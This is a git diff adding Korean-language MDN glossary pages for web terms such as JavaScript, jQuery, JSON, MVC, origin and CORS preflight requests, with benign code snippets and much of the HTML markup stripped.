프로그램은 Java Virtual Machine(JVM) 내에서 실행되는 독점 바이트 코드와 패키지 형식으로 미리 한 번만  {{glossary("Compile", "컴파일")}}된다. JVM은 많은 플랫폼에서 사용할 수 있으며, 이를 통해 Java 프로그램은 다시 컴파일하거나 패키징할 필요 없이 거의 모든 곳에서 실행될 수 있다. 이것은 이질적인 환경을 가진 많은 대기업에서 이 언어를 선호하지만, "무거운" 것으로 인식될 수 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}
diff --git a/files/ko/glossary/javascript/index.html b/files/ko/glossary/javascript/index.html new file mode 100644 index 0000000000..437db258b3 --- /dev/null +++ b/files/ko/glossary/javascript/index.html @@ -0,0 +1,43 @@ +--- +title: JavaScript +slug: Glossary/JavaScript +tags: + - 자바스크립트 +translation_of: Glossary/JavaScript +--- +

JavaScript는 프로그래밍 언어입니다. 대부분의 상황에서는 클라이언트 측에서 웹페이지를 동적으로 다룰때 사용되며,  종종 {{Glossary("Server","서버")}} 측에서 Node.js와 같은 패키지를 이용하여 사용되기도 합니다.

+ +

JavaScript는 Java와 가까운 관련이 없습니다만, 여기에서 비교를 볼 수 있습니다.

+ +

1995년 9월 당시 넷스케이프사의 직원이었던 Brendan Eich는 서버 쪽 언어로 JavaScript를 생각해냈습니다. 머지않아 JavaScript는 Netscape Navigator 2.0에 들어왔습니다. JavaScript는 곧 큰 성공을 거두었고, {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}}에 JScript 라는 이름으로 1996년 8월에 도입됩니다.

+ +

1996년 11월, 넷스케이프사는 ECMA International 협회와 함께 JavaScript를 산업 표준으로 만들기 위한 일을 시작하였습니다. 이때 정립된 ECMAScript는 ECMA-262 명세에 의해 설계됬고, JavaScript의 표준이 되었습니다. ECMAScript의 다섯 번째 버전(ECMAScript5)은 현재 모든 주요 브라우저에서 쓰이고 있으며, 여섯 번째 버전(ECMAScript6 혹은 줄여서 es6)은 2015 중반에 완성될 예정입니다.

+ +

대부분 JavaScript는 브라우저에서 사용됩니다. 개발자들은 {{Glossary("DOM")}}을 통해서 웹 페이지의 내용을 조종할 수 있으며, {{Glossary("AJAX")}}와 {{Glossary("IndexedDB")}}로 데이터를 다룹니다. {{Glossary("canvas")}}로 그림을 그리기도 하고, 다양한 {{Glossary("API","APIs")}}들을 활용해 브라우저를 실행하는 기기와 상호작용합니다. 브라우저들의 {{Glossary("API","APIs")}} 성능 향상과 성장세를 등에 업고 JavaScript 는 세계에서 가장 많이 쓰이는 언어 중 하나로 자리매김 하였습니다.

+ +

최근, JavaScript는 성공적인 플랫폼 Node.js과 함께 서버로 돌아왔습니다. Node.js는 가장 유명한 브라우저 밖에서의 크로스플랫폼 JavaScript 실행 환경입니다. Node.js를 활용하면 JavaScript를 PC에서 쓰이는 자동화 스크립트 언어로 쓸 수도 있고, 완전히 작동하는 {{Glossary("HTTP")}} 및 {{Glossary("Web Sockets")}} 서버를 만들 수 있습니다.

+ +

더 배워보기

+ +

일반 지식

+ + + +

JavaScript 배우기

+ + + +

기술적인 레퍼런스

+ + diff --git a/files/ko/glossary/jquery/index.html b/files/ko/glossary/jquery/index.html new file mode 100644 index 0000000000..2d07404d9e --- /dev/null +++ b/files/ko/glossary/jquery/index.html @@ -0,0 +1,57 @@ +--- +title: jQuery +slug: Glossary/jQuery +tags: + - 자바스크립트 + - 제이쿼리 +translation_of: Glossary/jQuery +--- +

jQuery는 {{Glossary("DOM")}}조작의 단순화, {{Glossary("AJAX")}}호출, {{Glossary("Event")}}핸들링에 초점을 맞춘 {{Glossary("JavaScript")}} {{Glossary("Library")}}다.  자바스크립트 개발자가 자주 사용한다. 

+ +

jQuery는 element(s)에 이벤트를 할당하기 위해 $(selector).action() 포맷을 사용합니다. 더 자세히 설명하자면, $(selector)는 selector element(s)를 선택하기 위해서 jQuery를 호출하며, .action() 라 불리는 {{Glossary("API")}}이벤트에 할당합니다.

+ +
$(document).ready(function(){
+  alert("Hello World!");
+  $("#blackBox").hide();
+});
+ +

위의 코드는 아래의 코드와 같은 역할을 합니다:

+ +
window.onload = function() {
+  alert( "Hello World!" );
+  document.getElementById("blackBox").style.display = "none";
+};
+ +

jQuery 사용하기.

+ + + + + + + + + + + + + + + + +
npmbower (solo file)Google CDN
npm install jquerybower install https://code.jquery.com/jquery-3.2.1.min.jshttps://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
+ +

더보기

+ +

General knowledge

+ + + +

Technical information

+ + diff --git a/files/ko/glossary/json/index.html b/files/ko/glossary/json/index.html new file mode 100644 index 0000000000..2fb2dbce69 --- /dev/null +++ b/files/ko/glossary/json/index.html @@ -0,0 +1,24 @@ +--- +title: JSON +slug: Glossary/JSON +translation_of: Glossary/JSON +--- +

JavaScript Object Notation (JSON) 은 데이터 교환 형식의 일종입니다.  Although not a strict subset, JSON closely resembles a subset of {{Glossary("JavaScript")}} syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.

+ +

JSON can represent numbers, booleans, strings, null, arrays (ordered sequences of values), and objects (string-value mappings) made up of these values (or of other arrays and objects).  JSON does not natively represent more complex data types like functions, regular expressions, dates, and so on.  (Date objects by default serialize to a string containing the date in ISO format, so the information isn't completely lost.) If you need JSON to represent additional data types, transform values as they are serialized or before they are deserialized.

+ +

Much like XML, JSON has the ability to store hierarchical data unlike the more traditional CSV format.  Many tools provide translation between these formats such as this online JSON to CSV Converter or this alternative JSON to CSV Converter.

+ +

Learn more

+ +

General knowledge

+ + + +

Technical reference

+ + diff --git a/files/ko/glossary/main_axis/index.html b/files/ko/glossary/main_axis/index.html new file mode 100644 index 0000000000..b2790c037b --- /dev/null +++ b/files/ko/glossary/main_axis/index.html @@ -0,0 +1,50 @@ +--- +title: 주축 +slug: Glossary/Main_Axis +tags: + - CSS + - Glossary + - flexbox +translation_of: Glossary/Main_Axis +--- +

{{glossary("flexbox", "플렉스박스")}}에서, 주축이란 {{cssxref("flex-direction")}} 속성이 지정한 방향과 수평한 축입니다. flex-direction은 다음과 같은 네 가지 방향이 가능합니다.

+ + + +

row 또는 row-reverse를 선택한 경우, 주축은 행을 따라 인라인 방향으로 진행합니다.

+ +

In this image the flex-direction is row which forms the main axis

+ +

column 또는 column-reverse인 경우, 주축은 페이지의 위에서 아래, 블록 방향으로 진행합니다.

+ +

+ +

아이템의 flex 속성을 통하면, 컨테이너의 사용 가능한 공간을 그 아이템에 더 할당하는 방식으로 주축 방향 크기를 키울 수 있습니다. 아니면 justify-content 속성을 사용해 아이템 사이와 주위 여백을 조절할 수 있습니다.

+ +

더 알아보기

+ +

속성 참고서

+ +
+ +
+ +

더 읽어보기

+ + diff --git a/files/ko/glossary/metadata/index.html b/files/ko/glossary/metadata/index.html new file mode 100644 index 0000000000..1f5f7272b3 --- /dev/null +++ b/files/ko/glossary/metadata/index.html @@ -0,0 +1,25 @@ +--- +title: 메타데이터 +slug: Glossary/Metadata +tags: + - CodingScripting + - Glossary + - HTML + - metadata +translation_of: Glossary/Metadata +--- +

메타데이터의 가장 단순한 정의는 데이터를 설명하는 데이터입니다. 예를 들어 {{glossary("HTML")}}은 데이터입니다. 그리고 HTML의 {{htmlelement("head")}} 안에는 문서 작성자나 문서 요약과 같이 문서를 설명하는 데이터, 즉 메타데이터를 넣을 수 있습니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

HTML 메타데이터

+ + diff --git a/files/ko/glossary/method/index.html b/files/ko/glossary/method/index.html new file mode 100644 index 0000000000..d994f9b1ae --- /dev/null +++ b/files/ko/glossary/method/index.html @@ -0,0 +1,40 @@ +--- +title: Method +slug: Glossary/Method +translation_of: Glossary/Method +--- +

메소드(method)는 {{glossary("object","객체")}}의 {{glossary("property", "속성")}}인 {{glossary("function", "함수")}}이다. 두 가지 종류의 메소드가 있다. 객체 인스턴스에 의해 수행되는 태스크에 내장된 인스턴스 메소드 또는 오브젝트 생성자에서 직접 호출되는 태스크인 {{Glossary("static method", "정적 메소드")}}가 여기에 해당된다.

+ +
+

참고: 자바스크립트 함수에서 그 자체는 객체이므로, 그런 맥락에서 메소드는 실제로 함수에 대한 객체 {{glossary("object reference", "참조")}}인 것이다.

+
+ +

더 알아보기

+ +

이것에 대해 알아보기

+ + + +

기술적 참조

+ + + + diff --git a/files/ko/glossary/microsoft_edge/index.html b/files/ko/glossary/microsoft_edge/index.html new file mode 100644 index 0000000000..5b5dfedc7a --- /dev/null +++ b/files/ko/glossary/microsoft_edge/index.html @@ -0,0 +1,18 @@ +--- +title: Microsoft Edge +slug: Glossary/Microsoft_Edge +tags: + - Browser + - Glossary + - Infrastructure + - 마이크로소프트 + - 엣지 +translation_of: Glossary/Microsoft_Edge +--- +

Microsoft Edge는 Microsoft Windows에 포함되어 제공되는 무료 그래픽 {{glossary("world wide web", "웹")}} {{Glossary("browser","브라우저")}}입니다. Microsoft 는 오랜 기간 사용했던 {{glossary("Microsoft Internet Explorer")}}를 대체하기 위해, 2014년부터 초기 코드명 스파르탄, 즉 Edge를 개발했습니다.

+ +

더 알아보기

+ + diff --git a/files/ko/glossary/microsoft_internet_explorer/index.html b/files/ko/glossary/microsoft_internet_explorer/index.html new file mode 100644 index 0000000000..e1c46529bd --- /dev/null +++ b/files/ko/glossary/microsoft_internet_explorer/index.html @@ -0,0 +1,37 @@ +--- +title: Microsoft Internet Explorer +slug: Glossary/Microsoft_Internet_Explorer +translation_of: Glossary/Microsoft_Internet_Explorer +--- +

Internet Explorer (또는 IE)는 Microsoft에서 레거시 엔터프라이즈 사용을 위해 유지 관리하는 무료 그래픽 {{glossary ( "browser")}}이다. {{glossary ( "Microsoft Edge")}}는 현재 기본 Windows 브라우저이다.

+ +

Microsoft는 1995 년 "Microsoft Plus!"라는 패키지의 일부로 IE를 Windows와 함께 번들로 제공했습니다. 2002 년 무렵, Internet Explorer는 전 세계에서 가장 많이 사용되는 브라우저가되었지만 이후 Chrome, Firefox, Edge 및 Safari에 의해 기반을 잃었습니다.

+ +

IE는 많은 릴리즈를 거쳤으며 현재 데스크탑, 모바일 및 Xbox Console 버전을 사용할 수 있는 버전 11.0.12을 출시했다. 마이크로소프트는 2003년과 2001년에 각각 이전에 Mac과 UNIX에서 사용되었던 버전을 중단했다.

+ +

더 알아보기

+ +

일반적인 지식

+ + + +

Internet Explorer 에 대해 알아보기

+ + + +

기술적 참조

+ + diff --git a/files/ko/glossary/mime_type/index.html b/files/ko/glossary/mime_type/index.html new file mode 100644 index 0000000000..1aca1e359e --- /dev/null +++ b/files/ko/glossary/mime_type/index.html @@ -0,0 +1,27 @@ +--- +title: MIME type +slug: Glossary/MIME_type +tags: + - WebMechanics + - 용어 해설 +translation_of: Glossary/MIME_type +--- +

과거에는 MIME type으로 불렸지만 지금은 "media type"으로 사용한다. 때때로는  "content type"이라고도 불리기도 한다. MIME type은 파일의 형식을 나타내는 문자열로 파일과 같이 송신되는데 content의 형식을 나타내기 위해 사용한다. 예를 들면 오디오 파일은 audio/ogg로 그림 파일은  image/png로 분류할 수 있다.

+ +

윈도우에서 사용하는 파일 확장자와 동일한 역할을 한다. MIME type이라는 명칭은 이메일에서 사용된 MIME standard에서 유래 됐다.

+ +

Learn more

+ +

General knowledge

+ + + +

기술적인 참고

+ + diff --git a/files/ko/glossary/mozilla_firefox/index.html b/files/ko/glossary/mozilla_firefox/index.html new file mode 100644 index 0000000000..696039c2cf --- /dev/null +++ b/files/ko/glossary/mozilla_firefox/index.html @@ -0,0 +1,29 @@ +--- +title: Mozilla Firefox +slug: Glossary/Mozilla_Firefox +tags: + - Browser + - Firefox + - Glossary + - Infrastructure + - Mozilla + - 파이어폭스 +translation_of: Glossary/Mozilla_Firefox +--- +

Mozilla Firefox는 Mozilla Corporation에서 개발을 감독하는 무료 오픈 소스 {{Glossary("browser","브라우저")}}입니다. Firefox는 Windows, OS X, Linux, Android에서 구동할 수 있습니다.

+ +

2004년 11월에 처음 출시된 Firefox는 테마, 플러그인, 애드온 등의 기능을 통해 사용자에게 철저히 맞출 수 있습니다. Firefox는 {{glossary("Gecko")}}를 사용해 웹 페이지를 렌더링 하고, 현재는 물론 곧 다가올 {{glossary("world wide web", "Web")}} 표준을 구현합니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술적 참고서

+ + diff --git a/files/ko/glossary/mvc/index.html b/files/ko/glossary/mvc/index.html new file mode 100644 index 0000000000..64b3a40e9d --- /dev/null +++ b/files/ko/glossary/mvc/index.html @@ -0,0 +1,62 @@ +--- +title: MVC +slug: Glossary/MVC +tags: + - MVC + - 개요 + - 모델 뷰 컨트롤러 + - 용어 + - 하부구조 +translation_of: Glossary/MVC +--- +

MVC (모델-뷰-컨트롤러) 는 사용자 인터페이스, 데이터 및 논리 제어를 구현하는데 널리 사용되는 소프트웨어 디자인 패턴입니다. 소프트웨어의 비즈니스 로직과 화면을 구분하는데 중점을 두고 있습니다. 이러한 "관심사 분리" 는 더나은 업무의 분리와 향상된 관리를 제공합니다. MVC 에 기반을 둔 몇 가지 다른 디자인 패턴으로 MVVM (모델-뷰-뷰모델), MVP (모델-뷰-프리젠터), MVW (모델-뷰-왓에버) 가 있습니다.

+ +

MVC 소프트웨어 디자인 패턴의 세 가지 부분은 다음과 같이 설명할 수 있습니다.

+ +
    +
  1. 모델: 데이터와 비즈니스 로직을 관리합니다.
  2. +
  3. 뷰: 레이아웃과 화면을 처리합니다.
  4. +
  5. 컨트롤러: 명령을 모델과 뷰 부분으로 라우팅합니다.
  6. +
+ +

모델 뷰 컨트롤러 예시

+ +

간단한 쇼핑 리스트 앱이 있다고 상상해봅시다. 우리가 원하는 것은 이번 주에 사야할 각 항목의 이름, 개수, 가격의 목록입니다. MVC 를 사용해 이 기능의 일부를 구현하는 방법을 아래에서 설명할 것입니다.

+ +

Diagram to show the different parts of the mvc architecture.

+ +

모델

+ +

모델은 앱이 포함해야할 데이터가 무엇인지를 정의합니다. 데이터의 상태가 변경되면 모델을 일반적으로 뷰에게 알리며(따라서 필요한대로 화면을 변경할 수 있습니다) 가끔 컨트롤러에게 알리기도 합니다(업데이트된 뷰를 제거하기 위해 다른 로직이 필요한 경우).

+ +

다시 쇼핑 리스트 앱으로 돌아가서, 모델은 리스트 항목이 포함해야 하는 데이터 — 품목, 가격, 등. — 와 이미 존재하는 리스트 항목이 무엇인지를 지정합니다.

+ +

+ +

뷰는 앱의 데이터를 보여주는 방식을 정의합니다.

+ +

쇼핑 리스트 앱에서, 뷰는 항목이 사용자게에 보여지는 방식을 정의하며, 표시할 데이터를 모델로부터 받습니다.

+ +

컨트롤러

+ +

컨트롤러는 앱의 사용자로부터의 입력에 대한 응답으로 모델 및/또는 뷰를 업데이트하는 로직을 포함합니다.

+ +

예를 들어보면, 쇼핑 리스트는 항목을 추가하거나 제거할 수 있게 해주는 입력 폼과 버튼을 갖습니다. 이러한 액션들은 모델이 업데이트되는 것이므로 입력이 컨트롤러에게 전송되고, 모델을 적당하게 처리한다음, 업데이트된 데이터를 뷰로 전송합니다.

+ +

단순히 데이터를 다른 형태로 나타내기 위해 뷰를 업데이트하고 싶을 수도 있습니다(예를 들면, 항목을 알파벳순서로 정렬한다거나, 가격이 낮은 순서 또는 높은 순서로 정렬). 이런 경우에 컨트롤러는 모델을 업데이트할 필요 없이 바로 처리할 수 있습니다.

+ +

웹에서의 MVC

+ +

웹 개발자로써, 여러분이 이 패턴을 이전에 의식적으로 사용한 적이 없더라도 아마 상당히 친숙할것입니다. 여러분의 데이터 모델은 아마 어떤 종류의 데이터베이스에 포함되어있었을 것입니다(MySQL 과 같은 전통적인 서버 사이드 데이터베이스, 또는 IndexedDB 같은 클라이언트 사이드 솔루션). 여러분의 앱의 제어 코드는 아마 HTML/JavaScript 로 작성되었을 것이고, 사용자 인터페이스는 HTML/CSS 등 여러분이 선호하는 것들로 작성되었을 것입니다. 이는 MVC 와 아주 유사하게 들리지만, MVC 는 이러한 컴포넌트들이 더 엄격한 패턴을 따르도록합니다.

+ +

웹의 초창기에, MVC 구조는 클라이언트가 폼이나 링크를 통해 업데이트를 요청하거나 업데이트된 뷰를 받아 다시 브라우저에 표시하기 위해 대부분 서버 사이드에서 구현되었습니다. 반면, 요즘에는, 클라이언트 사이드 데이터 저장소의 출현과 필요에 따라 페이지의 일부만 업데이트를 허용하는 XMLHttpRequest 를 포함해 더 많은 로직이 클라이언트 사이드에 추가되었습니다.

+ +

AngularJS 및 Ember.js 와 같은 웹 프레임워크들은 약간씩은 방식이 다르지만, 모두 MVC 구조를 구현합니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/node.js/index.html b/files/ko/glossary/node.js/index.html new file mode 100644 index 0000000000..fef01ca0fc --- /dev/null +++ b/files/ko/glossary/node.js/index.html @@ -0,0 +1,29 @@ +--- +title: Node.js +slug: Glossary/Node.js +tags: + - Glossary + - Infrastructure + - JavaScript + - node.js +translation_of: Glossary/Node.js +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

Node.js는 개발자가 서버 측과 네트워크 응용 프로그램을 만들 수 있도록 지원하는 크로스 플랫폼 {{Glossary("JavaScript")}} 런타임 환경입니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 정보

+ + diff --git a/files/ko/glossary/null/index.html b/files/ko/glossary/null/index.html new file mode 100644 index 0000000000..bbf1e8f80e --- /dev/null +++ b/files/ko/glossary/null/index.html @@ -0,0 +1,38 @@ +--- +title: 'Null' +slug: Glossary/Null +tags: + - CodingScripting + - Glossary + - JavaScript + - Types +translation_of: Glossary/Null +--- +

컴퓨터 과학에서 null 값은 일반적으로 존재하지 않거나 유효하지 않은 {{glossary ("object")}} 또는 주소를 의도적으로 가리키는 참조를 나타냅니다. null 참조의 의미는 언어의 구현에 따라 다양하다.

+ +

null은 동작이 원시적으로 보이기 때문에 {{Glossary ( "Primitive", "primitive values")}} 중 하나로 표시됩니다.

+ +

그러나 특정 경우에, null 은 처음 봤던것 만큼 "원시적"이지 않다. 모든 객체는 null 값으로 부터 파생되며 따라서 typeof 연산자는 아래의 코드에서 object를 반환한다.

+ +
typeof null === 'object' // true
+ + diff --git a/files/ko/glossary/object/index.html b/files/ko/glossary/object/index.html new file mode 100644 index 0000000000..61bbe87b83 --- /dev/null +++ b/files/ko/glossary/object/index.html @@ -0,0 +1,16 @@ +--- +title: Object +slug: Glossary/Object +translation_of: Glossary/Object +--- +

객체는 데이터 및 데이터 작업에 대한 지침을 포함하는 데이터 구조를 말한다. 객체는 때때로 레이싱 게임에서 car 나 map 과 같은 실생활에서의 것들을 지칭할 수 있다. {{glossary("JavaScript")}}, Java, C++, Python, and Ruby 는 {{glossary("OOP","객체 지향적 프로그래밍")}} 언어의 예이다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/object_reference/index.html b/files/ko/glossary/object_reference/index.html new file mode 100644 index 0000000000..30e8171992 --- /dev/null +++ b/files/ko/glossary/object_reference/index.html @@ -0,0 +1,16 @@ +--- +title: Object reference +slug: Glossary/Object_reference +translation_of: Glossary/Object_reference +--- +

{{glossary("object", "객체")}}와 연결된 문서. 객체 참조는 연결된 객체와 비슷하게 사용될 수 있다.

+ +

둘 이상의 속성에 동일한 객체를 할당할 때 객체 참조의 개념이 명확해진다. 할당된 각 {{glossary("property", "속성")}}은 객체의 복사본을 보유하는 대신 동일한 객체에 링크되는 객체 참조를 보유하여 객체가 객체를 참조하는 모든 속성을 변경할 때 변경 내용을 반영하도록 한다.

+ +

더 알아보기

+ +

일반적 지식

+ + diff --git a/files/ko/glossary/oop/index.html b/files/ko/glossary/oop/index.html new file mode 100644 index 0000000000..c4e3cf8d19 --- /dev/null +++ b/files/ko/glossary/oop/index.html @@ -0,0 +1,17 @@ +--- +title: OOP +slug: Glossary/OOP +translation_of: Glossary/OOP +--- +

OOP (객체 지향적 프로그래밍) 는 데이터가 {{glossary("object","객체")}} 내에 캡슐화되고 구성 요소 부분이 아닌 객체 자체가 운용되는 프로그래밍 방식이다

+ +

{{glossary("JavaScript")}} 는 매우 객체 지향적인 언어이다. JavaScript는  클래스 기반의 것과는 대조적으로 프로토타입 기반의 모델을 따른다 .

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/operator/index.html b/files/ko/glossary/operator/index.html new file mode 100644 index 0000000000..edd79cef9b --- /dev/null +++ b/files/ko/glossary/operator/index.html @@ -0,0 +1,20 @@ +--- +title: Operator +slug: Glossary/Operator +translation_of: Glossary/Operator +--- +

연산자는 문장 부호 또는 내장 기능을 수행하는 영어 또는 숫자로 구성된 예약된 구문이다. 예를 들어, JavaScript에서 추가 연산자("+")는 숫자를 추가하고 문자열을 연결하며, "not" 연산자("!")는 식을 부정한다 (예를 들어 참 문을 거짓으로 되돌리도록 만든다.).

+ +

더 알아보기

+ +

일반적인 지식

+ + + +

기술적 참조

+ + diff --git a/files/ko/glossary/origin/index.html b/files/ko/glossary/origin/index.html new file mode 100644 index 0000000000..4751422e12 --- /dev/null +++ b/files/ko/glossary/origin/index.html @@ -0,0 +1,81 @@ +--- +title: 출처 +slug: Glossary/Origin +tags: + - Glossary + - Security + - WebMechanics +translation_of: Glossary/Origin +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

웹 콘텐츠의 출처(origin)는 접근할 때 사용하는 {{glossary("URL")}}의 스킴({{glossary("protocol", "프로토콜")}}, 호스트(도메인), 포트로 정의됩니다. 두 객체의 스킴, 호스트, 포트가 모두 일치하는 경우 같은 출처를 가졌다고 말합니다.

+ +

일부 작업은 동일 출처 콘텐츠로 제한되나, {{glossary("CORS")}}를 통해 제한을 해제할 수 있습니다.

+ +

동일 출처의 예제

+ + + + + + + + + + + + +
http://example.com/app1/index.html
+ http://example.com/app2/index.html
스킴(http)과 호스트(example.com) 일치
http://Example.com:80
+ http://example.com
HTTP의 기본 포트는 80이므로 동일한 출처
+ +

다른 출처의 예제

+ + + + + + + + + + + + + + + + +
http://example.com/app1
+ https://example.com/app2
다른 스킴
http://example.com
+ http://www.example.com
+ http://myapp.example.com
다른 호스트
http://example.com
+ http://example.com:8080
다른 포트
+ +

명세

+ + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#origin', 'origin')}}{{Spec2('HTML WHATWG')}}
+ +

더 알아보기

+ + diff --git a/files/ko/glossary/pdf/index.html b/files/ko/glossary/pdf/index.html new file mode 100644 index 0000000000..770ca451e2 --- /dev/null +++ b/files/ko/glossary/pdf/index.html @@ -0,0 +1,14 @@ +--- +title: PDF +slug: Glossary/PDF +translation_of: Glossary/PDF +--- +

PDF (Portable Document Format)는 특정 소프트웨어 구현, 하드웨어 플랫폼 또는 운영 체제에 의존하지 않고 문서를 공유하는 데 사용되는 파일 형식이다. PDF는 인쇄된 문서의 디지털 이미지를 제공하며 인쇄될 때 동일한 형태를 유지한다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/php/index.html b/files/ko/glossary/php/index.html new file mode 100644 index 0000000000..3be68177aa --- /dev/null +++ b/files/ko/glossary/php/index.html @@ -0,0 +1,19 @@ +--- +title: PHP +slug: Glossary/PHP +tags: + - CodingScripting + - Glossary + - Infrastructure + - PHP +translation_of: Glossary/PHP +--- +

PHP(PHP: Hypertext Preprocessor)는 웹 응용 프로그램과 동적 웹 사이트를 구축하는 데 사용되는 오픈 소스 서버 측 스크립팅 언어입니다. 원래는 동적 웹 페이지를 만들기 위해 설계되었으며 이를 구현하기 위해 PHP로 작성된 코드를 HTML 소스 문서 안에 넣으면 PHP 처리 기능이 있는 웹 서버에서 해당 코드를 인식하여 작성자가 원하는 웹 페이지를 생성한다. 근래에는 PHP 코드와 HTML을 별도 파일로 분리하여 작성하는 경우가 일반적이며, PHP 또한 웹서버가 아닌 php-fpm(PHP FastCGI Process Manager)을 통해 실행하는 경우가 늘어나고 있습니다.

+ +

Learn more

+ + diff --git a/files/ko/glossary/pixel/index.html b/files/ko/glossary/pixel/index.html new file mode 100644 index 0000000000..e362dc837e --- /dev/null +++ b/files/ko/glossary/pixel/index.html @@ -0,0 +1,16 @@ +--- +title: Pixel +slug: Glossary/Pixel +translation_of: Glossary/Pixel +--- +

픽셀(pixel)은 컴퓨터 화면과 같은 그래픽 디스플레이의 가장 작은 구성 단위이다.

+ +

디스플레이 해상도는 픽셀 단위로 표시된다. 예를 들어: "800 x 600" 픽셀 해상도는 폭 800 픽셀, 높이 600 픽셀을 표시할 수 있음을 의미한다.

+ +

더 알아보기

+ +

기술적 참조

+ + diff --git a/files/ko/glossary/png/index.html b/files/ko/glossary/png/index.html new file mode 100644 index 0000000000..7a261a12a9 --- /dev/null +++ b/files/ko/glossary/png/index.html @@ -0,0 +1,14 @@ +--- +title: PNG +slug: Glossary/PNG +translation_of: Glossary/PNG +--- +

PNG (Portable Network Graphics)는 무손실 데이터 압축을 지원하는 그래픽 파일 형식이다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/polyfill/index.html b/files/ko/glossary/polyfill/index.html new file mode 100644 index 0000000000..d1098491cc --- /dev/null +++ b/files/ko/glossary/polyfill/index.html @@ -0,0 +1,22 @@ +--- +title: Polyfill +slug: Glossary/Polyfill +translation_of: Glossary/Polyfill +--- +

polyfill은 기본적으로 지원하지 않는 이전 브라우저에서 최신 기능을 제공하는 데 필요한 코드 (일반적으로 웹의 JavaScript)입니다.

+ + + +

예를 들어, Silverlight 플러그인을 사용하여 Microsoft Internet Explorer 7에서 HTML Canvas 요소의 기능을 모방하거나 CSS rem 단위 또는 {{cssxref("text-shadow")}}를 모방하는 등 필요한 모든 것에 polyfill을 사용할 수 있습니다.

+ +

polyfill이 독점적으로 사용되지 않는 이유는 더 나은 기능성과 더 나은 성능을 위해서 입니다. API의 기본 구현은 polyfill보다 더 많은 작업을 수행 할 수 있고 더 빠릅니다. 예를 들어 Object.create polyfill에는Object.create 구현에서 가능한 기능 만 포함됩니다.

+ +

다른 경우, 폴리 필은 브라우저가 다른 방식으로 동일한 기능을 구현하는 문제를 해결하는 데 사용됩니다. 폴리 필은 특정 브라우저에서 비표준 기능을 사용하여 JavaScript에 기능에 액세스 할 수있는 표준 준수 방법을 제공합니다. 폴리 필링에 대한 이러한 이유는 오늘날 매우 드물지만 각 브라우저가 Javascript를 매우 다르게 구현 한 IE6, Netscape 및 NNav 시대에 특히 널리 퍼졌습니다. JQuery의 첫번째 버전은 폴리 필의 초기 예입니다. JavaScript 개발자는 모든 브라우저에서 작동하는 단일 공통 API를 가질 수 있도록 기본적으로 브라우저 별 해결 방법을 편집 한 것입니다. 당시 자바 스크립트 개발자는 웹 사이트가 완전히 다른 방식으로 프로그래밍되어야하고 사용자의 브라우저에 따라 다른 사용자 인터페이스를 가져야하는 브라우저 간 불일치로 인해 모든 장치에서 웹 사이트를 작동 시키려고 노력하고있었습니다. . 따라서 JavaScript 개발자는 모든 브라우저에서 거의 일관되게 작동하는 아주 작은 소수의 JavaScript API에만 액세스 할 수있었습니다. 현대 브라우저는 대부분 표준 시맨틱에 따라 광범위한 API 세트를 구현하기 때문에 폴리 필을 사용하여 브라우저 별 구현을 처리하는 것은 오늘날 실제로 존재하지 않습니다.

+ +

Learn more

+ +

General knowledge

+ + diff --git a/files/ko/glossary/preflight_request/index.html b/files/ko/glossary/preflight_request/index.html new file mode 100644 index 0000000000..94678a9bb3 --- /dev/null +++ b/files/ko/glossary/preflight_request/index.html @@ -0,0 +1,34 @@ +--- +title: 사전 요청 +slug: Glossary/Preflight_request +translation_of: Glossary/Preflight_request +--- +

교차 출처 리소스 공유 사전 요청은 본격적인 교차 출처 HTTP 요청 전에 서버 측에서 그 요청의 메서드와 헤더에 대해 인식하고 있는지를 체크하는 것입니다.

+ +

이것은 HTTPHeader("Access-Control-Request-Method"), HTTPHeader("Access-Control-Request-Headers"), HTTPHeader("Origin") 총 3가지의 HTTP request headers를 사용하는 HTTPMethod("OPTIONS") 요청입니다.

+ +

사전 요청은 일반적인 상황에서는 브라우저에서 자동으로 발생됩니다. 그러므로 프런트엔드 개발자가 이 요청을 직접 작성할 필요는 없습니다. 또한 프리 플라이트 요청이 필요한 경우에만 나타나므로 단순 요청(simple requests)의 경우에는 사전 요청이 생략됩니다.

+ +

예를 들어, 클라이언트는  DELETE 요청을 하기 전에 사전 요청을 통해 서버가 HTTPMethod("DELETE")을 허용하는지 물어볼 수 있습니다.

+ +
OPTIONS /resource/foo
+Access-Control-Request-Method: DELETE
+Access-Control-Request-Headers: origin, x-requested-with
+Origin: https://foo.bar.org
+ +

만약 서버가 그것을 허용한다면, 응답 헤더에 HTTPHeader("Access-Control-Allow-Methods")라고 나타나게 됩니다.

+ +
HTTP/1.1 204 No Content
+Connection: keep-alive
+Access-Control-Allow-Origin: https://foo.bar.org
+Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
+Access-Control-Max-Age: 86400
+ +

위의 예와 같이, 동일한 URL을 사용하는 요청에 대해서는 Access-Control-Max-Age 헤더를 이용하여 정해진 기간 내에는 사전 요청에 대한 응답이 선택적으로 이루어질 수 있습니다.

+ +

See also

+ + diff --git a/files/ko/glossary/primitive/index.html b/files/ko/glossary/primitive/index.html new file mode 100644 index 0000000000..8f12b18da8 --- /dev/null +++ b/files/ko/glossary/primitive/index.html @@ -0,0 +1,125 @@ +--- +title: 원시 값 +slug: Glossary/Primitive +tags: + - CodingScripting + - Glossary + - JavaScript +translation_of: Glossary/Primitive +--- +

